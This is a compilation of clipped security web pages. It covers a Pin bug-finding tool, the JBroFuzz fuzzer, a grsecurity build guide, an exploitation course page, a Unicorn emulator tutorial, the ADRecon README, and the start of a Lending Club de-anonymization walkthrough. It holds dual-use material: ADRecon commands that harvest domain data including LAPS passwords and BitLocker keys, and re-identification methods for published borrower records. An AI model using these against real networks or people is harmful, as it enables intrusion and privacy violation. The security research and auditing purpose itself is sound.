> XED_ICLASS_MOV) && INS_IsStackRead(ins) && INS_RegRContain(ins, REG_EBP) &&
> INS_OperandIsImmediate(ins, 1))  
>  {  
>  INS_InsertCall(ins, IPOINT_BEFORE, (AFUNPTR)TrackAccessToArgs,
> IARG_INST_PTR, IARG_MEMORYREAD_EA, IARG_REG_VALUE, REG_EBP, IARG_REG_VALUE,
> REG_ESP, IARG_END);  
>  }`
The tool checks the functions on isolation so if the function parameter is
checked for zero by the caller the program may report division by zero
error**.** This is the consequence of the design**.**  
  
The tool uses `std::map` data structure to maintain the state of the
analysis**.** It also contains other research implementation that is not
mentioned in this blog post**.** The source code is available to download here
**.**

If you use `std::map` functions you have to use mutex and write lock to
protect the data structure from potential corruption unless the target uses no
threads**.**  
  
To get better performance it's better to do analysis once the application
exists rather than on-the-fly**.** However, this increases the memory
footprint as the data can be accumulating during the execution**.**  
  
Sometimes it might be a good idea to use Window `Beep` function to make noise
if a bug is detected**.**  
  
While it's possible to write efficient Pintools to detect bugs, sometimes if
the tool is made to depend on the target application it can perform
better**.**

****

# Category:OWASP JBroFuzz - OWASP

**Created:**| _3/16/2010 7:53:55 AM_  
---|---  
**Updated:**| _3/16/2010 7:54:07 AM_  
**Author:**| __  
**Tags:**| _web-app-sec bookmark security tools web_  
  

**JBroFuzz** is a web application fuzzer for requests being made over HTTP or
HTTPS. Its purpose is to provide a single, portable application that offers
stable web protocol fuzzing capabilities.

**Current version is 2.0**. Get it from the SourceForge Download Section.

Release SHA1SUM

**Release Notes \(2.0\):**

  * User basic authentication supported and updated headers to show 2.0 release
  * Fixed preferences bug.
  * Added Authorization header option in UI, under URL Encoding
  * Created a Verifier for .jbrf files
  * Fixed a small mistake in EncoderHashFrame.java
  * Implemented a Cross Product Fuzzer within core/CrossProductFuzzer.java
  * Introduced PowerFuzzer.java, DoubleFuzzer.java and fixed the directory location preferences.
  * Fixed Graphing Tab, right click menu
  * Arrayedified preferences, fixed maximum frame size, extracted all icons in a /icons folder.
  * EncoderHashFrame.java binded keys changed to alt+enter to encode and alt+backspace to decode
  * Split org.owasp.jbrofuzz.encode to core and UI
  * Added more documentation within the help topics about fuzzing
  * Added print functionality to keyboard shortcuts
  * Added keyboard shortcuts
  * Fixed the category of SQL Injection
  * Updated INSTALL, README files, converted jbrofuzz.sh to unix format

## Vulnerability Identification

JBroFuzz generates requests, puts them on the wire and records the
corresponding responses received back. It does not attempt to identify if a
particular site is vulnerable or not; this requires further human analysis.

However, certain payloads included in fuzzers that can be used to generate
requests \(e.g. XSS\) are crafted to attempt to successfully exploit flaws.
Such flaws represent previously known vulnerabilities for web applications.
JBroFuzz groups fuzzers with their corresponding payloads into a number of
categories, depending on previously known vulnerabilities.

Thus, the human analyst would have to select the fuzzers to use in order to
test against a particular set of vulnerabilities and review the results in
order to recognize if exploitation succeeded or not.

## JBroFuzz Documentation

### Online Documentation

JBroFuzz Tutorial

Frequently Asked Questions \(FAQs\)

JBroFuzz Install Guide

JBroFuzz Payloads and Fuzzers

### Built-in Documentation

Frequently Asked Questions: `Help -> FAQ`

Help Topics: `Help -> Topics`

## Application Overview

The components of JBroFuzz are presented into tabs, with more options
\(encodings, hash calculator, headers from popular browsers\) available under
the `Tools` option. The basic components are:

**Fuzzing** The fuzzing tab is the main tab of JBroFuzz, responsible for all
fuzzing operations performed over the network. Depending on the fuzzer
payloads selected, it creates the malformed data for each request, puts it on
the wire and writes the response to a file.

**Graphing** The graphing tab is responsible for graphing \(in a variety of
forms\) the responses received while fuzzing. This tab can offer a clear
indication of a response that is different then the rest received, an
indication of further examination being required.

**Payloads** The payloads tab is a collection of fuzzers with their
corresponding payloads that can be used while fuzzing. Payloads are added to
the request in the fuzzing tab; a more clear view of what payloads are
available, how they are grouped and what properties each fuzzer has can be
seen in this tab.

**Headers** The headers window is a collection of browser headers that can be
used while fuzzing. Headers are obtained from different browsers on different
platforms and operating systems. This tab is provided, as many web
applications respond differently to different browser impersonation attacks.

**System** The system tab represents the logging console of JBroFuzz at
runtime. Here you can access java runtime information, see any errors that
might occur and also track operation in terms of events being logged.

## Roadmap

Building a web application fuzzer that sits at the rim of breaking known
protocol specifications, can be a very time consuming exercise. Thus, JBroFuzz
has a roadmap, based on how much time it would take to achieve each task.

You can find the project roadmap here.

## Source Code

JBroFuzz is written in Java and requires a 1.6 JRE/JDK \(or higher\)
installed, to run. It is constituted of more or less 70 classes, using, in
total, 10 external libraries. It builds under Apache Ant.

**SVN \(Subversion\)** is a tool used by many software developers to manage
changes within their source code tree. This project's SourceForge.net
Subversion repository can be checked out through SVN with the following
instruction set:

`svn co https://jbrofuzz.svn.sourceforge.net/svnroot/jbrofuzz jbrofuzz`

If the above sounds a bit greek, you can also browse through the complete
source code at:

`http://jbrofuzz.svn.sourceforge.net/viewvc/jbrofuzz/`

## Feedback and Participation

We hope you find the OWASP JBroFuzz Project useful. Please contribute to the
project by volunteering for one of the tasks on the roadmap, sending your
comments, questions, and suggestions to `subere@uncon.org`.

To join the OWASP JBroFuzz Project mailing list or view the archives, please
visit the subscription page.

  

## Pages in category "OWASP JBroFuzz"

The following 3 pages are in this category, out of 3 total.

### O

  * OWASP JBroFuzz FAQ
  * OWASP JBroFuzz Payloads and Fuzzers
  * OWASP JBroFuzz Tutorial

# Grsecurity - ArchWiki

**Created:**| _10/31/2013 12:57:32 PM_  
---|---  
**Updated:**| _10/31/2013 12:58:32 PM_  
**Author:**| __  
**Tags:**| _Linux mitigations_  
  

**Build kernel from AUR**

  

To build the AUR package we will follow this general game plan. First,
download all needed files and check GPG signatures. Second, configure kernel
and compile. Third, copy a backup of these files to the Root users home
folder. Forth, install utilities needed for PaX and RBAC. Fifth, install the
kernel package. Sixth, run linux-pax-flags to poke security holes in
applications that will not run without them. Finally, reboot into your
hardened system.

  

**Download Files**

  

Download the packages linux-grsec Or linux-grsec-lts

  

Kernel linux-3.X.tar.xz and current patch-3.X.X.tar.xz also the .sign
signature files for each. kernel.org

  

Download the current grsecurity patch and Signatures grsecurity Test Or
grsecurity Stable for LTS kernel

  

**Tip:** The Grsecurity Test is in fact stable. The Stable Grsecurity version
is just for the LTS

  

**Verify The GPG Signatures**

  

With the .sign files in the same directory as the file it is a a signature of,
verify the signature like so...

  

$ gpg2 --verify linux-3.10.tar.sign  
  

  

**Setup Build Environment**

  

Unpack the linux-grsec.tar.gz and copy all the files into it

  

$ tar xzf linux-grsec.tar.gz  
$ cp ~/Downloads/linux-3.10.tar.xz ~/linux-grsec  
$ cp ~/Downloads/patch-3.10.9.tar.xz ~/linux-grsec  
$ cp ~/Downloads/grsecurity-2.9.1-3.10.9-201308202015.patch ~/linux-grsec  
  
  

  

Change into the build directory

  

$ cd ~/linux-grsec  
  

  

**Build the Kernel Package**

  

It is going to take a long time to build the kernel because it is based on the
default Arch kernel config with has about ten times as make modules enabled
then your system actually needs. However, it is a known working config and to
eliminate any more variables it is advisable to just live with the extra build
time.

  

Build the package

  

$ MENUCONFIG=2 makepkg  
  

  

You should be dropped into the ncurses GUI now. Navigate to the grsecurity
settings to verify the configuration and/or change things as needed. These
setting can be found in Security options ---> grsecurity ---> Customize
Configuration --->

  

For both Desktops and Servers after you are sure you will not need to change
any of the Grsecurity settings with sysctl, disable Sysctl support found in
Sysctl Support.

  

If this kernel is for a Server also enable Disable privileged I/O found in
Memory Protections.

  

All other setting should be optimal as they are, so now exit out of the
ncurses GUI config and Save. Now the package should start to build. If all
goes well you will have two .pkg.tar.xz packages one for the kernel and one
for the kernel-headers.

  

**Make a Backup**

  

Keep all linux-grsec.tar.gz files along with the grsecruity patch and compiled
packages in the Root users home folder. That way you can roll back if needed.
Every time a new grsecurity patch is release you will not be able to download
outdated patches every again.

  

\# mkdir /root/3.10.9  
\# cp -r /home/USER/linux-grsec /root/3.10.9  
  

  

**Install PaX and RBAC Utilities**

  

The AUR has three utilities you will need to install. They are paxctl, gradm,
and linux-pax-flags.

  

For simplicities sake I will assume you are using yaourt to install package
form the AUR, however any other way of installing these packages will work as
well.

  

$ yaourt -S linux-pax-flags paxctl gradm  
  

  

**Set PaX Flags**

  

Use the linux-pax-flags program to configure all the PaX flags for troublesome
programs. More information can be found in the Using linux-pax-flags AUR
Package section.

  

\# linux-pax-flags  
  

  

**Install Hardened Kernel**

  

Now that all the needed utilities are installed and the system is configured
for PaX, install the hardened kernel and headers.

  

\# pacman -U /root/3.10.9/\*.pkg.tar.xz  
  

  

Finish by adding the new kernel to your bootloader menu \(with grub-mkconfig
-o /boot/grub/grub.cfg for example\) and reboot.

  

You should now be in your hardened system. Just make sure to run linux-pax-
flags after every time you update your system or install a new program and you
should have a trouble free experience.

# Penetration Testing and Vulnerability Analysis - Exploitation - Exploitation
102

**Created:**| _11/9/2009 8:41:52 PM_  
---|---  
**Updated:**| _11/9/2009 8:42:09 PM_  
**Author:**| __  
**Tags:**| _Exploit video Tutorials_  
  

## Exploitation 102

Exploit mitigations, shellcoding, and Metasploit with Dino Dai Zovi.

  * Slides \(start at slide 25\)

As mentioned in the video, the homework for this week is to turn your exploit
for homework.exe into a MetasploitModule. The best documentation for
Metasploit is online and it is probably easiest to find a sample exploit and
work from there. The Metasploit wikibook has a page on writing Windows
exploits that is a good place to start. Keep in mind, though, that the exploit
in the wikibook uses the send\_cmd function, which is FTP specific. You will
want to use "sock.put" instead.

For some good examples, look at the following modules included with
Metasploit:

  * modules/exploits/windows/lpd/niprint.rb
  * modules/exploits/windows/proxy/ccproxy\_telnet\_ping.rb

As a final note, the instructors strongly suggest that you launch your
Metasploit exploits from Linux, OSX, or Cygwin on Windows \(essentially,
anything but the Windows installer\).

### Reading Material

  * A collection of win32 shellcode
  * Win32 Assembly Components by LSD
  * UNIX Assembly Codes Development for Vulnerabilities Illustration Purposes by LSD
  * Return-Oriented Programming: Exploits Without Code Injection
  * Attacking the Core: Kernel Exploiting Notes
  * Offensive Security's Metasploit Unleashed open course

If you passed this section with ease and understand most of the reading
material above, you might want to try taking Immunity's Network Offense
Professional certification. Good luck\!

# Set up a Global Descriptor Table in Unicorn-Engine

**Created:**| _1/20/2017 11:07:16 AM_  
---|---  
**Updated:**| _1/20/2017 11:07:16 AM_  
**Author:**| __  
**Tags:**| _Emulation_  
  

  

# Set up a Global Descriptor Table in Unicorn-Engine

written on March 27, 2016 by sash

Unicorn is a multi-platform multi-architecture CPU emulator based on Qemu. It
is written in C and has bindings for several programming languages e. g.
python, ruby, Java, go.

A mode of modern x86 CPUs is called Protected Mode. This mode offers features
such as virtual memory and paging. The memory is split  into segments and the
segment points to them. Since the segment registers are 16bit registers they
ca nnot hold the address of a segment. Instead of the addresses to the
segments the segments registers hold segment selectors which are an indices of
the global or local descriptor table \(GDT, LDT\). You can find here and here
more information about these topics.

If you use Unicorn it is not needed to create a GDT and set the GDT register
\(GDTR\). But in some cases the segment registers have to be set to a proper
value, e. g. executing Linux or Windows binaries.

To write more readable code I use some constants:

[code]

    F_GRANULARITY = 0x8	# If set block=4KiB otherwise block=1B
    F_PROT_32 = 0x4		# Protected Mode 32 bit
    F_LONG = 0x2		# Long Mode
    F_AVAILABLE = 0x1 	# Free Use
    A_PRESENT = 0x80	# Segment active
    A_PRIV_3 = 0x60		# Ring 3 Privs
    A_PRIV_2 = 0x40		# Ring 2 Privs
    A_PRIV_1 = 0x20		# Ring 1 Privs
    A_PRIV_0 = 0x0		# Ring 0 Privs
    A_CODE = 0x10		# Code Segment
    A_DATA = 0x10		# Data Segment
    A_TSS = 0x0		# TSS
    A_GATE = 0x0		# GATE
    A_EXEC = 0x8		# Executable
    A_DATA_WRITABLE = 0x2
    A_CODE_READABLE = 0x2
    A_DIR_CON_BIT = 0x4
    S_GDT = 0x0		# Index points to GDT
    S_LDT = 0x4		# Index points to LDT
    S_PRIV_3 = 0x3		# Ring 3 Privs
    S_PRIV_2 = 0x2		# Ring 2 Privs
    S_PRIV_1 = 0x1		# Ring 1 Privs
    S_PRIV_0 = 0x0		# Ring 0 Privs
[/code]

To create the GDT and the selector for the segment register I wrote some
little helper functions:

[code]

    def create_selector(idx, flags):
        to_ret = flags
        to_ret |= idx << 3
        return to_ret
    
    def create_gdt_entry(base, limit, access, flags):
        to_ret = limit & 0xffff;
        to_ret |= (base & 0xffffff) << 16;
        to_ret |= (access & 0xff) << 40;
        to_ret |= ((limit >> 16) & 0xf) << 48;
        to_ret |= (flags & 0xff) << 52;
        to_ret |= ((base >> 24) & 0xff) << 56;
        return pack('Q',to_ret)
    
    def write_gdt(uc, gdt, mem):
        for idx, value in enumerate(gdt):
            offset = idx * GDT_ENTRY_SIZE
            uc.mem_write(mem + offset, value)
[/code]

In my example I create three memory regions:

  * Memory for GDT
  * Memory for the segment
  * Memory for the code

[code]

    CODE_ADDR = 0x40000
    CODE_SIZE = 0x1000
    CODE = 'some code bytes here'
    
    GDT_ADDR = 0x3000
    GDT_LIMIT = 0x1000
    GDT_ENTRY_SIZE = 0x8
    
    SEGMENT_ADDR = 0x5000
    SEGMENT_SIZE = 0x1000
    
    uc = Uc(UC_ARCH_X86, UC_MODE_32)
    uc.mem_map(GDT_ADDR, GDT_LIMIT)
    uc.mem_map(SEGMENT_ADDR, SEGMENT_SIZE)
    uc.mem_map(CODE_ADDR, CODE_SIZE)
[/code]

Now I fill the memory and the registers with the needed values. The first
entry of the GDT has to be 0, therefore I start writing the entry at GDT\_ADDR
\+ GDT\_ENTRY\_SIZE.

[code]

    # Create the GDT entries
    gdt = [create_gdt_entry(0,0,0,0) for i in range(31)]
    gdt[15] = create_gdt_entry(GS_SEGMENT_ADDR, GS_SEGMENT_SIZE, A_PRESENT | A_DATA | A_DATA_WRITABLE | A_PRIV_3 | A_DIR_CON_BIT, F_PROT_32)
    
    gdt[16] = create_gdt_entry(0, 0xfffff000 , A_PRESENT | A_DATA | A_DATA_WRITABLE | A_PRIV_3 | A_DIR_CON_BIT, F_PROT_32)  # Data Segment
    
    gdt[17] = create_gdt_entry(0, 0xfffff000 , A_PRESENT | A_CODE | A_CODE_READABLE | A_EXEC | A_PRIV_3 | A_DIR_CON_BIT, F_PROT_32)  # Code Segment
    
    gdt[18] = create_gdt_entry(0, 0xfffff000 , A_PRESENT | A_DATA | A_DATA_WRITABLE | A_PRIV_0 | A_DIR_CON_BIT, F_PROT_32)  # Stack Segment
    
    write_gdt(uc, gdt, GDT_ADDR)
    
    # Fill the GDTR register
    uc.reg_write(UC_X86_REG_GDTR, (0, GDT_ADDR, len(gdt)*GDT_ENTRY_SIZE-1, 0x0))
    
    # Set the selector
    selector = create_selector(15, S_GDT | S_PRIV_3)
    uc.reg_write(UC_X86_REG_GS, selector)
    selector = create_selector(16, S_GDT | S_PRIV_3)
    uc.reg_write(UC_X86_REG_DS, selector)
    selector = create_selector(17, S_GDT | S_PRIV_3)
    uc.reg_write(UC_X86_REG_CS, selector)
    selector = create_selector(18, S_GDT | S_PRIV_0)
    uc.reg_write(UC_X86_REG_SS, selector)
[/code]

The last step is to execute the code which uses the segment registers to
access memory.

[code]

    uc.emu_start(CODE_ADDR, CODE_ADDR+ len(CODE))
[/code]

Here you can download the complete script.

  

# sense-of-security/ADRecon

**Created:**| _3/7/2018 8:57:20 AM_  
---|---  
**Updated:**| _3/7/2018 8:57:20 AM_  
**Author:**| _wishi_  
**Tags:**| _windows environment active directory_  
  

  

# ActiveDirectoryRecon

ADRecon is a tool which extracts various artifacts \(as highlighted below\)
out of an AD environment in a specially formatted Microsoft Excel report that
includes summary views with metrics to facilitate analysis. The report can
provide a holistic picture of the current state of the target AD environment.
The tool is useful to various classes of security professionals like auditors,
DIFR, students, administrators, etc. It can also be an invaluable post-
exploitation tool for a penetration tester. It can be run from any workstation
that is connected to the environment, even hosts that are not domain members.
Furthermore, the tool can be executed in the context of a non-privileged
\(i.e. standard domain user\) accounts. Fine Grained Password Policy, LAPS and
BitLocker may require Privileged user accounts. The tool will use Microsoft
Remote Server Administration Tools \(RSAT\) if available, otherwise it will
communicate with the Domain Controller using LDAP. The following information
is gathered by the tool:

  * Forest;
  * Domains in the Forest and other attributes such as Sites;
  * Domain Password Policy;
  * Domain Controllers and their roles;
  * Users and their attributes;
  * Service Principal Names;
  * Groups and and their members;
  * Organizational Units and their ACLs;
  * Group Policy Object details;
  * DNS Zones and Records;
  * Printers;
  * Computers and their attributes;
  * LAPS passwords \(if implemented\); and
  * BitLocker Recovery Keys \(if implemented\).

## Getting Started

These instructions will get you a copy of the tool up and running on your
local machine.

### Prerequisites

  * .NET Framework 3.0 or later \(Windows 7 includes 3.0\)
  * PowerShell 2.0 or later \(Windows 7 includes 2.0\)

### Optional

  * Microsoft Excel \(to generate the report\)
  * Remote Server Administration Tools \(RSAT\): 
    * Windows 10 \(https://www.microsoft.com/en-au/download/details.aspx?id=45520\)
    * Windows 7 \(https://www.microsoft.com/en-au/download/details.aspx?id=7887\)

### Installing

If you have git installed, you can start by cloning the repository:

[code]

    git clone https://github.com/sense-of-security/ADRecon.git
    
[/code]

Otherwise, you can download a zip archive of the latest release. The intent is
to always keep the master branch in a working state.

## Usage

### Examples

To run ADRecon on a domain member host.

[code]

    PS C:\> .\ADRecon.ps1
    
[/code]

To run ADRecon on a domain member host as a different user.

[code]

    PS C:\>.\ADRecon.ps1 -DomainController <IP or FQDN> -Credential <domain\username>
    
[/code]

To run ADRecon on a non-member host using LDAP.

[code]

    PS C:\>.\ADRecon.ps1 -Protocol LDAP -DomainController <IP or FQDN> -Credential <domain\username>
    
[/code]

To run ADRecon with specific modules on a non-member host with RSAT. \(Default
OutputType is STDOUT with -Collect parameter\)

[code]

    PS C:\>.\ADRecon.ps1 -Protocol ADWS -DomainController <IP or FQDN> -Credential <domain\username> -Collect Domian, DCs
    
[/code]

To generate the ADRecon-Report.xlsx based on ADRecon output \(CSV Files\).

[code]

    PS C:\>.\ADRecon.ps1 -GenExcel C:\ADRecon-Report-<timestamp>
    
[/code]

When you run ADRecon, a `ADRecon-Report-<timestamp>` folder will be created
which will contain ADRecon-Report.xlsx and CSV-Folder with the raw files.

### Parameters

[code]

    -Protocol <String>
        Which protocol to use; ADWS (default) or LDAP
    
    -DomainController <String>
        Domain Controller IP Address or Domain FQDN.
    
    -Credential <PSCredential>
        Domain Credentials.
    
    -GenExcel <String>
        Path for ADRecon output folder containing the CSV files to generate the ADRecon-Report.xlsx. Use it to generate the ADRecon-Report.xlsx when Microsoft Excel is not installed on the host used to run ADRecon.
    
    -OutputDir <String>
        Path for ADRecon output folder to save the CSV files and the ADRecon-Report.xlsx. (The folder specified will be created if it doesn't exist) (Default pwd)
    
    -Collect <String>
        What attributes to collect (Comma separated; e.g Forest,Domain)
        Valid values include: Forest, Domain, PasswordPolicy, DCs, Users, UserSPNs, Groups, GroupMembers, OUs, OUPermissions, GPOs, GPOReport, DNSZones, Printers, Computers, ComputerSPNs, LAPS, BitLocker.
    
    -OutputType <String>
        Output Type; Comma seperated; e.g CSV,STDOUT,Excel (Default STDOUT with -Collect parameter, else CSV and Excel).
        Valid values include: STDOUT, CSV, Excel.
    
    -DormantTimeSpan <Int>
        Timespan for Dormant accounts. (Default 90 days)
    
    -PageSize <Int>
        The PageSize to set for the LDAP searcher object. (Default 200)
    
    -Threads <Int>
        The number of threads to use during processing objects (Default 10)
    
    -FlushCount <Int>
        The number of processed objects which will be flushed to disk. (Default -1; Flush after all objects are processed).
    
    
[/code]

### Future Plans

  * Replace System.DirectoryServices.DirectorySearch with System.DirectoryServices.Protocols and add support for LDAP STARTTLS and LDAPS \(TCP port 636\).
  * Add Domain Trust Enumeration.
  * Gather ACLs for the useraccountcontrol attribute and the ms-mcs-admpwd LAPS attribute to determine which users can read the values.
  * Gather DS\_CONTROL\_ACCESS and Extended Rights, such as User-Force-Change-Password, DS-Replication-Get-Changes, DS-Replication-Get-Changes-All, etc. which can be used as alternative attack vectors.
  * Additional export and storage option: export to ~~STDOUT~~ , SQLite, xml, html.
  * List issues identified and provide recommended remediation advice based on analysis of the data.

### Bugs, Issues and Feature Requests

Please report all bugs, issues and feature requests in the issue tracker. Or
let me \(@prashant3535\) know directly.

### Contributing

Pull request are always welcome.

### Mad props

Thanks for the awesome work by @\_wald0, @CptJesus, @harmj0y, @mattifestation,
@PyroTek3, @darkoperator, the Sense of Security Team and others.

### License

ADRecon is a tool which gathers information about the Active Directory and
generates a report which can provide a holistic picture of the current state
of the target AD environment.

Copyright \(C\) Sense of Security

This program is free software: you can redistribute it and/or modify it under
the terms of the GNU Affero General Public License as published by the Free
Software Foundation, either version 3 of the License, or \(at your option\)
any later version.

This program is distributed in the hope that it will be useful, but WITHOUT
ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more
details.

You should have received a copy of the GNU Affero General Public License along
with this program. If not, see http://www.gnu.org/licenses/.

This program borrows and uses code from many sources. All attempts are made to
credit the original author. If you find that your code is used without proper
credit, please shoot an insult to @prashant3535, Thanks.

  

# Orange – Data Mining Fruitful & Fun

**Created:**| _4/7/2012 11:28:05 AM_  
---|---  
**Updated:**| _4/7/2012 11:28:05 AM_  
**Author:**| __  
**Tags:**| _software AI machine-learning_  
  

Open source data visualization and analysis for novice and experts. Data
mining through visual programming or Python scripting. Components for machine
learning. Add-ons for bioinformatics and text mining. Packed with features for
data analytics.

# Dean De Beer - Client-side Attacks \(Part 1\) on Vimeo

**Created:**| _6/18/2009 10:46:09 PM_  
---|---  
**Updated:**| _6/18/2009 10:46:26 PM_  
**Author:**| __  
**Tags:**| _bookmark video pentest_  
  

Dean De Beer - Client-side Attacks \(Part 1\)

by Dan Guido <img src='img/Temp2_2018.gif' alt='plus' />

2 days ago 2 days ago: Mon, Jun 15, 2009 5:53pm EST \(Eastern Standard Time\)

More

More

Add

Add

See all Show me

Dan Guido's videos

<img src='img/Temp2_2019.gif' />

7. Dean De Beer - Post-Exploitation \(Part 1\)
by Dan Guido

14 hours ago

<img src='img/Temp2_2016.gif' />

6. Dean De Beer - Client-side Attacks \(Part 2\)
by Dan Guido

1 day ago

<img src='img/Temp2_2013.gif' />

5. Dean De Beer - Client-side Attacks \(Part 1\)
by Dan Guido

2 days ago

<img src='img/Temp2_2020.gif' />

4. Dino Dai Zovi - Exploitation 101 \(Part 2\)
by Dan Guido

3 days ago

<img src='img/Temp2_2015.gif' />

3. Dino Dai Zovi - Exploitation 101 \(Part 1\)
by Dan Guido

4 days ago

<img src='img/Temp2_2014.gif' />

2. So you want to train an army of ninjas...
by Dan Guido

6 days ago

<img src='img/Temp2_2017.gif' />

1. Basic debugging for exploit development
by Dan Guido

6 days ago

pentest.cryptocity.net isis.poly.edu

# Performance & Debugging

**Created:**| _9/3/2009 9:36:06 AM_  
---|---  
**Updated:**| _9/18/2009 10:32:24 AM_  
**Author:**| __  
**Tags:**| _Debugging Mac-hacking_  
  
|

# <img src='img/Temp2_6202.gif' width='410' height='74' alt='Performance &
Debugging Tools Overview' />

The performance of Mac OS X applications can be measured, evaluated, and
optimized using Apple's developer tools, technologies, and programming
interfaces. Developers can fine-tune their applications for high performance
using tools such as the Sampler code-profiling application, features such as
multiprocessing, and APIs such as those for the vDSP library. Apple's Xcode
Tools consist of more than just a world-class IDE, object-oriented interface
development tools, and application packaging software. It also comes with a
complete set of powerful performance tools that can gather a wide variety of
useful performance metrics for your application. While all of these tools are
useful for maximizing your application's performance, getting started with a
few essential tools will help you eliminate common performance bottlenecks:

  * Shark and Sampler will tell you where your application is spending its time, and help you make your code more efficient.
  * QuartzDebug and OpenGL Profiler will help you identify your application's slow or inefficient drawing.
  * MallocDebug will help you track and optimize your application's memory use.

## Standard Performance and Debugging Tools

The following tools are installed in `/Developer/Applications/` as part of the
standard Developer Tools package. Note that a variety of other helpful open-
source tools are also installed in locations such as `/usr/bin/`.

  * **MallocDebug** tracks and analyzes memory allocated in an application. You can use this tool to find memory leaks or analyze memory allocation patterns.
  * **ObjectAlloc** tracks Objective-C and Core Foundation object allocations and deallocations in real-time. The tool also lets you view the retention history for an object, which can be useful in recovering memory held by over-retained objects.
  * **OpenGL Profiler** creates a runtime profile of your OpenGL-based application. You can view function statistics and the call-trace history of your application's OpenGL calls.
  * **PEFViewer** displays the contents of a PEF binary file. You can use it in much the same way you would use the `nm` and `otool` command-line tools for Mach-O binaries.
  * **QuartzDebug** shows screen updates in real-time by briefly flashing the areas being redrawn. You can use this tool to analyze your application's drawing behavior.
  * **Sampler** analyzes your application's behavior at runtime. It can identify where your program spends its time and summarize how often allocation routines, system calls, or arbitrary functions were called.
  * **Thread Viewer** graphically displays activity across a range of threads. It provides color-coded time-line views of thread activity and can display backtraces of activity at specific points in time.
  * **gdb** is the standard open-source debugger on Mac OS X, accessible from the command line \(installed into`/usr/bin`\). It integrates with Xcode to create a seamless debugging experience in the Apple IDE.

## Computer Hardware Understanding Development Tools \(CHUD Tools\)

The CHUD Tools are applications and tools for measuring and optimizing
software performance on Mac OS X as well as for hardware bringup and system
benchmarking. The CHUD Tools are delivered as a part of the Xcode Tools for
Panther. Note that the command-line tools `acid`,`amber`, `simg4`, and `simg5`
are installed in the `/usr/bin/` directory. For the very latest version, and
for Project Builder/Jaguar developers, the CHUD Tools can be downloaded from
the ftp site.

  * **CacheBasher** measures cache performance under a wide range of conditions.
  * **MONster** provides direct access to performance counters and presents the data in both spreadsheet and chart form.
  * **Reggie SE** lets you examine and modify CPU and PCI configuration registers.
  * **Saturn** instruments your code to provide function-level profiling and displays the resulting data graphically. You can use this tool to count events, such as how many times a function is called or an event occurs.
  * **Shark** shows you where time is being spent \(both user and supervisor code\), and correlates performance events to your program's code. It also supplies tuning advice about how to improve the performance of your code on G4 and G5 processors.
  * **Skidmarks GT** measures integer, floating-point, and vector performance.
  * `acid` is a command-line tool that analyzes TT6E instruction traces and presents detailed analyses and histograms. You can use this tool to detect bad instruction sequences, such as misaligned operands, data dependency stalls, and spilled loads.
  * `amber` is a command-line tool that traces all threads of execution in a process, recording every instruction and data access to a trace file. This tool can generate traces in TT6, TT6E, or FULL format.
  * `simg4` is a command-line tool that is a cycle-accurate simulator of the Motorola 7400 processor. This tool takes TT6 traces as input.
  * `simg5` is a command-line tool that is a cycle-accurate simulator of the IBM 970 \(G5\) processor. This tool takes TT6E traces as input.

**Updated:** 2005-03-17  
---|---

# Lendingclub.com: A De-anonymization Walkthrough « 33 Bits of Entropy

**Created:**| _5/20/2009 12:42:41 PM_  
---|---  
**Updated:**| _5/21/2009 12:10:22 PM_  
**Author:**| __  
**Tags:**| _anonym_  
  

**Lendingclub.com: A De-anonymization Walkthrough**  

 _November 12, 2008_

The AOL and Netflix privacy incidents have shown that people responsible for
data release at these companies do not put themselves in the potential
attacker’s shoes in order to reason about privacy. The only rule that is ever
applied is “remove personally identifiable information,” which has been
repeatedly shown not to work. This fallacy deserves a post of its own, and so
I will leave it at that for now.

The reality is that there is no way to guarantee privacy of published customer
data without going through complex, data-driven reasoning. So let me give you
an attacker’s-eye-view account of a de-anonymization I carried out last
week—perhaps an understanding of the adversarial process will help reason
about the privacy risks of data release.

**Lending Club** , a company specializing in peer-to-peer loans, makes the
financial information collected from their customers \(borrowers\) publicly
available. I learned of this a week ago, and there are around 4,600 users in
the dataset as of now. This could be a textbook example illustrating a variety
of types of sensitive information and a variety of attack methods to identify
the individuals\! Each record contains the following information:

I. Screen name  
II. Loan Title, Loan Description,  
III. Location, Hometown, Home Ownership, Current Employer, Previous Employers,
Education, Associations  
IV. Amount Requested, Interest Rate, APR, Loan Length, Amount Funded, Number
of Lenders, Expiration Date, Status, Application Date  
V. Credit Rating, Tenure, Monthly Income, Debt-To-Income Ratio, FICO Range,
Earliest Credit Line,Open Credit Lines,Total Credit Lines, Revolving Credit
Balance, Revolving Line Utilization,Inquiries in the Last 6 Months, Accounts
Now Delinquent, Delinquent Amount, Delinquencies \(Last 2 yrs\), Months Since
Last Delinquency, Public Records On File, Months Since Last Record

## What data is sensitive?

Of course, any of the above fields might be considered sensitive by one or
another user, but there are two types of data that are of particular concern:
**financial data** and the **loan description**. The financial data includes
monthly income, credit rating and FICO credit score; enough said. Loan
description is an interesting column. A few users just put in “student loans”
or “consolidate credit card debt.” However, a more informative description is
the norm, such as this one:

> This loan will be used to pay off my 19% Business Credit Card with AMEX. I
> have supporting documentation to prove my personal Income. I would much
> rater get a loan and pay back fixed amount each month rather then being
> charged more and more each month on the same balance. I can afford to pay at
> min $800 a month. I have 4 Reserves in the bank and have over 70% of my
> credit limit open for use.
Often, users reveal a lot about their personal life in the hope of appealing
to the emotions of the prospective lender. Here’s an example \(this is fairly
common in the data\):

> My husband’s lawyer has told us that we need $5000 up front to pay for his
> child custody case. We are going to file for primary custody. Right now he
> has no visitation rights according to their divorce agreement. His ex-wife
> has been evicted twice in the four months and is living with 2 of their 3
> daughters in a two bedroom apartment with her boyfriend. She has no job or
> car and the only money they have is what we give them in child support and
> she blows all of it on junk. We have a 2000+ square foot house, both have
> stable jobs, and our own cars. Both girls\(12 and 15 years old\) are allowed
> to go and do whatever they please even though they are failing classes at
> school. We are clearly the better situation for them to be raised in but we
> simply do not have that much money all at once. We would be able to pay
> around $200 per month for repayment.
A few loan descriptions are quite hilarious.  This one is my personal
favorite.

Who’s the “bad guy” and what might they do with data of this kind, assuming it
can be re-identified with the individuals in question? Certainly, it would
help shady characters carry out identity theft. But there is also the
unpleasant possibility that a customer’s family members or a boss might learn
something about them that the customer didn’t intend them to know. The
techniques below focus on the former threat model,  _en masse_ de-
anonymization. The latter is even easier to carry out since human intelligence
can be applied.

## How to de-anonymize

**The “screen name” field  
**

Releasing the screen name seems totally unnecessary. Many people use a unique
username everywhere \(in fact, this tendency is so strong that there is a
website to automate the process of testing your favorite username across
websites\). Often, googling a username brings up a profile page on other
